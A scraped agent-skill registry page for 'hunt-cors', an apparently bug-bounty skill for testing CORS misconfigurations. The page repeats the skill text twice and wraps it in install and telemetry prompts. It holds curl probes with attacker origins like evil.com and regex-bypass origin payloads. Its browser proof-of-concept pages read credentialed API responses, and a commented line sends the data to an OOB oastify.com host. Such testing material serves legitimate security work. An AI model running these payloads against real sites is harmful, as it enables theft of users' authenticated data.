| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why | |---|---|---|---| | `^https?://.*\.target\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. | | `^https?://.*target\.com$` | **Missing dot separator** (no `\.` before `target`) | `https://eviltarget.com` | `.*target\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. | | `^https?://.*\.target\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). | | `^https?://target\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. | | `^https?://.*\.target\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = "any char" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. | | Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |
```bash # Send each class-specific payload and watch what the server reflects. for ORIGIN in \ "https://evil.target.com" \ "https://eviltarget.com" \ "https://x.target.com.evil.com" \ "https://target.com.evil.com" \ "https://target.com%60.evil.com" \ "http://target.com"; do RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \ -H "Origin: $ORIGIN" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") echo "[$ORIGIN] -> ${RESULT:-no CORS}" done ``` A bypass is real only if the server reflects **your registerable origin** into `ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless you can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain).
### Phase 3b — Trusted insecure (HTTP) origin If ACAO reflects/allows any `http://` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw. ```bash curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control ``` Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)
### Phase 4 — Pre-flight (OPTIONS) gating bypass Non-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple `Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends the real request if the pre-flight response authorizes the method/header. Two things to test:
1. **Does the pre-flight authorize arbitrary methods/headers for your origin?** If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect whatever you ask for, a malicious origin can drive state-changing requests (chain to CSRF-style writes that JSON/SameSite would otherwise block).
```bash curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: PUT" \ -H "Access-Control-Request-Headers: x-custom-auth, content-type" \ | grep -i "access-control" # Vulnerable: ACAO reflects evil.com + ACAC:true + # Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth # => attacker origin can issue authed PUT/DELETE with custom headers. ```
2. **Is the pre-flight even enforced server-side?** Some servers reflect the origin on `OPTIONS` but the actual GET/POST also reflects — the read path is the bug; the pre-flight just confirms write-path reach. Test the GET/POST directly too — never assume the pre-flight result equals the real-request result. Confirm in a browser, because curl ignores CORS entirely.
### Phase 5 — Browser PoCs (the only thing that proves impact) curl does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. **Every CORS High needs a browser PoC.**
**5a. Reflect-any-origin read** (host on evil.com, open while logged into target): ```html <!doctype html><body><pre id="out"></pre> <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => { document.getElementById("out").innerText = d; // prove readable body // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d)); }) .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e); </script></body> ``` If you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a valid finding regardless of what curl showed (this is the `ACAO: *` + creds case).
**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner document must lack `allow-same-origin` so its origin is opaque (`null`): ```html <!doctype html><body> <!-- Outer page hosted anywhere --> <iframe sandbox="allow-scripts" srcdoc=' <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => parent.postMessage(d, "*")); </script>'></iframe> <script> window.addEventListener("message", e => { // d is the authed body, read cross-origin via a null Origin // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data)); console.log("NULL-ORIGIN READ:", e.data); }); </script></body> ``` (Alternative null-origin emitters: a `data:` / `blob:` document, or bouncing the request through a 302 redirect chain whose final hop is cross-scheme.)
**5c. Trusted-subdomain read** — once you control a host that the regex trusts (real subdomain via takeover, or a registerable origin that matches a buggy regex from Phase 3), host **5a** there. The reflected origin is now an origin you legitimately serve, so the browser allows the read.
### Phase 6 — postMessage origin check ```bash # Find message handlers that don't strictly validate event.origin. grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \ | grep -v "\.origin" # Then audit each hit: does it check event.origin against an allowlist # BEFORE using event.data? Weak checks to flag: # .indexOf("target.com") > -1 <- "target.com.evil.com" passes # .endsWith("target.com") <- "eviltarget.com" passes # startsWith("https://target") <- "https://target.evil.com" passes # no check at all ``` postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS, client-side auth bypass). See hunt-dom for exploitation depth.
---
## Automation (triage only — never the proof) ```bash # corsy — fast reflection/null/pre-domain checks pip3 install corsy corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates nuclei -u https://$TARGET -t http/misconfiguration/cors/
#
Source provenance
Decision snapshot
4,082 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for hunt-cors, ready for a manual X post.
hunt-cors: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain... 4.1K stars https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=x
Listing + install path for hunt-cors: https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors/audit)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)elementalsouls
@elementalsouls
Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.
Sandbox only
Echarts
Apache ECharts is a powerful, interactive charting and data visualization library for browser
67.2K StarsD3
Bring data to life with SVG, Canvas and HTML. :bar_chart::chart_with_upwards_trend::tada:
113.1K StarsScientific Agent Skills
Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 160,000+ scientists worldwide. 140 ready-to-use skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
33.5K StarsSuperset
Apache Superset is a Data Visualization and Data Exploration Platform
74.7K StarsSandbox only
Install targets
Codex install prompt
Install the "hunt-cors" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-hunt-cors","task":"Install hunt-cors","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.
Scenario
Testing and QA
I need my agent to test a web app, reproduce bugs, and verify fixes.
Agent fit
Claude Code + Browser agents + CLI
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Maintenance
fresh
5d since push
Risk
Needs review
Dependency or permission surface needs review
GitHub quality
4.1K
83/100 Quality · 77/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Sandbox onlyUseful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
Audit
Needs reviewA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Run only in a sandbox and compare close alternatives before using it for real work.
Stars
4.1K GitHub stars
Repo activity
4.1K stars, 634 forks
Maintenance
5d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill hunt-corsDo not use when
Agent safety v2
Sparse or mixed signals. Useful for discovery, but not for autonomous installation.
Test manually in an isolated workspace and compare against safer alternatives.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill may drive a browser or interact with web pages.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-hunt-cors/install
Agent should check
Copy prompt
Task: Use hunt-cors in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-hunt-cors/install
LLM text format
/api/skills/elementalsouls-hunt-cors/install?format=text
Find alternatives
/api/skills/search?q=hunt-cors&limit=3
Agent prompt
Use hunt-cors for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill hunt-corsRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-hunt-cors
LLM text
/api/registry/manifest/elementalsouls-hunt-cors?format=text
Install alias
/api/registry/install/elementalsouls-hunt-cors
Recommend
/api/registry/recommend?task=Use%20hunt-cors%20in%20an%20agent%20workflow&limit=3
Agent fit
Browser automation
Use-case tags
Platforms
Claude Code, Browser agents
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Browser automation
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
GitHub adoption
PASS4.1K GitHub stars
Stars/forks activity
PASS4.1K stars, 634 forks; issue activity unavailable in current metadata
Recent maintenance
PASS5d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Run only in a sandbox and compare close alternatives before using it for real work.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Operate web apps
I need my agent to control a browser, fill forms, and verify web app workflows.
Verify behavior
I need my agent to test a web app, reproduce bugs, and verify fixes.
Parse messy files
I need my agent to read PDFs, extract tables, and turn documents into structured data.
Workflow fit
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Turn skills into distribution
A workflow for turning newly indexed skills into SEO briefs, social drafts, comparison pages, and reusable publishing workflows.
Alternative shortlist
Similar skills that may fit this task.
Apache ECharts is a powerful, interactive charting and data visualization library for browser
Bring data to life with SVG, Canvas and HTML. :bar_chart::chart_with_upwards_trend::tada:
Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 160,000+ scientists worldwide. 140 ready-to-use skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
Apache Superset is a Data Visualization and Data Exploration Platform
--- name: hunt-cors description: "Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers." report_count: 19 sources: hackerone_public ---
# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration
## What actually pays (and what does not)
CORS pays High **only** when an attacker-controlled origin can perform a **credentialed** cross-origin read of sensitive authenticated data, and you have a browser PoC proving the response body is readable from `evil.com`.
Two hard browser rules that kill most "findings" — check these FIRST:
- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.** If the server returns `ACAO: *`, the browser refuses to send/expose the response for a `credentials: include` request. A wildcard-only endpoint is **not** credential-exploitable. It is only interesting if the data it serves is sensitive *without* a session (rare) — usually this is Informational/Low. - **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It matters only if `ACAO` reflects/allows your specific attacker origin AND a cross-origin credentialed `fetch` actually returns a readable body. ACAC on a response that does not reflect your origin proves nothing.
If you cannot demonstrate a readable cross-origin authed body in a real browser, you do not have a High. Do not submit header-diffing alone.
---
## Crown Jewel Targets
- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND sets `ACAC: true` → any site reads authed API responses. The classic High. - **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a `data:`/redirect chain) emits `Origin: null`, so any page can read authed data. - **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The correct payload depends on *which* flaw (see Phase 3 — this is where most skills get it wrong). - **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS policy trusts; take it over, host the PoC there (see hunt-subdomain). - **postMessage missing/loose origin check** — handler that processes `event.data` without strictly validating `event.origin`.
---
## Attack Surface Signals
``` Any endpoint returning an Access-Control-Allow-Origin header API endpoints: /api/*, /v1/*, /graphql Profile/account: /api/me, /api/profile, /api/user, /api/session Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings Financial: /api/balance, /api/transactions Admin/internal: /api/admin/*, /api/internal/* ```
Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body.
---
## Step-by-Step Hunting Methodology
### Phase 1 — Discover CORS endpoints ```bash # Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET, # and -I sends HEAD which may be handled differently. while read url; do result=$(curl -s -D - -o /dev/null "$url" \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") [ -n "$result" ] && echo "=== $url ===" && echo "$result" done < recon/$TARGET/api-endpoints.txt
# httpx bulk check cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \ httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin" ```
### Phase 2 — Reflect-any-origin + null origin ```bash # Does the server reflect an arbitrary Origin back? curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Vulnerable (the High case): # Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin # Access-Control-Allow-Credentials: true <- + credentials => readable # # NOT exploitable for credentialed theft: # Access-Control-Allow-Origin: * <- browser blocks creds read # (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: null" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control" # Looking for: Access-Control-Allow-Origin: null + ACAC: true ```
### Phase 3 — Subdomain / trusted-origin regex bypass The right payload depends on **which** regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives.
| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why | |---|---|---|---| | `^https?://.*\.target\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. | | `^https?://.*target\.com$` | **Missing dot separator** (no `\.` before `target`) | `https://eviltarget.com` | `.*target\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. | | `^https?://.*\.target\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). | | `^https?://target\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. | | `^https?://.*\.target\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = "any char" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. | | Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |
```bash # Send each class-specific payload and watch what the server reflects. for ORIGIN in \ "https://evil.target.com" \ "https://eviltarget.com" \ "https://x.target.com.evil.com" \ "https://target.com.evil.com" \ "https://target.com%60.evil.com" \ "http://target.com"; do RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \ -H "Origin: $ORIGIN" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") echo "[$ORIGIN] -> ${RESULT:-no CORS}" done ``` A bypass is real only if the server reflects **your registerable origin** into `ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless you can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain).
### Phase 3b — Trusted insecure (HTTP) origin If ACAO reflects/allows any `http://` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw. ```bash curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control ``` Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)
### Phase 4 — Pre-flight (OPTIONS) gating bypass Non-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple `Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends the real request if the pre-flight response authorizes the method/header. Two things to test:
1. **Does the pre-flight authorize arbitrary methods/headers for your origin?** If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect whatever you ask for, a malicious origin can drive state-changing requests (chain to CSRF-style writes that JSON/SameSite would otherwise block).
```bash curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: PUT" \ -H "Access-Control-Request-Headers: x-custom-auth, content-type" \ | grep -i "access-control" # Vulnerable: ACAO reflects evil.com + ACAC:true + # Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth # => attacker origin can issue authed PUT/DELETE with custom headers. ```
2. **Is the pre-flight even enforced server-side?** Some servers reflect the origin on `OPTIONS` but the actual GET/POST also reflects — the read path is the bug; the pre-flight just confirms write-path reach. Test the GET/POST directly too — never assume the pre-flight result equals the real-request result. Confirm in a browser, because curl ignores CORS entirely.
### Phase 5 — Browser PoCs (the only thing that proves impact) curl does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. **Every CORS High needs a browser PoC.**
**5a. Reflect-any-origin read** (host on evil.com, open while logged into target): ```html <!doctype html><body><pre id="out"></pre> <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => { document.getElementById("out").innerText = d; // prove readable body // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d)); }) .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e); </script></body> ``` If you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a valid finding regardless of what curl showed (this is the `ACAO: *` + creds case).
**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner document must lack `allow-same-origin` so its origin is opaque (`null`): ```html <!doctype html><body> <!-- Outer page hosted anywhere --> <iframe sandbox="allow-scripts" srcdoc=' <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => parent.postMessage(d, "*")); </script>'></iframe> <script> window.addEventListener("message", e => { // d is the authed body, read cross-origin via a null Origin // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data)); console.log("NULL-ORIGIN READ:", e.data); }); </script></body> ``` (Alternative null-origin emitters: a `data:` / `blob:` document, or bouncing the request through a 302 redirect chain whose final hop is cross-scheme.)
**5c. Trusted-subdomain read** — once you control a host that the regex trusts (real subdomain via takeover, or a registerable origin that matches a buggy regex from Phase 3), host **5a** there. The reflected origin is now an origin you legitimately serve, so the browser allows the read.
### Phase 6 — postMessage origin check ```bash # Find message handlers that don't strictly validate event.origin. grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \ | grep -v "\.origin" # Then audit each hit: does it check event.origin against an allowlist # BEFORE using event.data? Weak checks to flag: # .indexOf("target.com") > -1 <- "target.com.evil.com" passes # .endsWith("target.com") <- "eviltarget.com" passes # startsWith("https://target") <- "https://target.evil.com" passes # no check at all ``` postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS, client-side auth bypass). See hunt-dom for exploitation depth.
---
## Automation (triage only — never the proof) ```bash # corsy — fast reflection/null/pre-domain checks pip3 install corsy corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates nuclei -u https://$TARGET -t http/misconfiguration/cors/
#
Source provenance
Decision snapshot
4,082 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for hunt-cors, ready for a manual X post.
hunt-cors: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain... 4.1K stars https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=x
Listing + install path for hunt-cors: https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors/audit)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)elementalsouls
@elementalsouls
Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.
Sandbox only
Echarts
Apache ECharts is a powerful, interactive charting and data visualization library for browser
67.2K StarsD3
Bring data to life with SVG, Canvas and HTML. :bar_chart::chart_with_upwards_trend::tada:
113.1K StarsScientific Agent Skills
Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 160,000+ scientists worldwide. 140 ready-to-use skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
33.5K StarsSuperset
Apache Superset is a Data Visualization and Data Exploration Platform
74.7K StarsSandbox only
Install targets
Codex install prompt
Install the "hunt-cors" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-hunt-cors","task":"Install hunt-cors","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.
Scenario
Testing and QA
I need my agent to test a web app, reproduce bugs, and verify fixes.
Agent fit
Claude Code + Browser agents + CLI
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Maintenance
fresh
5d since push
Risk
Needs review
Dependency or permission surface needs review
GitHub quality
4.1K
83/100 Quality · 77/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Sandbox onlyUseful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
Audit
Needs reviewA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Run only in a sandbox and compare close alternatives before using it for real work.
Stars
4.1K GitHub stars
Repo activity
4.1K stars, 634 forks
Maintenance
5d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill hunt-corsDo not use when
Agent safety v2
Sparse or mixed signals. Useful for discovery, but not for autonomous installation.
Test manually in an isolated workspace and compare against safer alternatives.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill may drive a browser or interact with web pages.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-hunt-cors/install
Agent should check
Copy prompt
Task: Use hunt-cors in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-hunt-cors/install
LLM text format
/api/skills/elementalsouls-hunt-cors/install?format=text
Find alternatives
/api/skills/search?q=hunt-cors&limit=3
Agent prompt
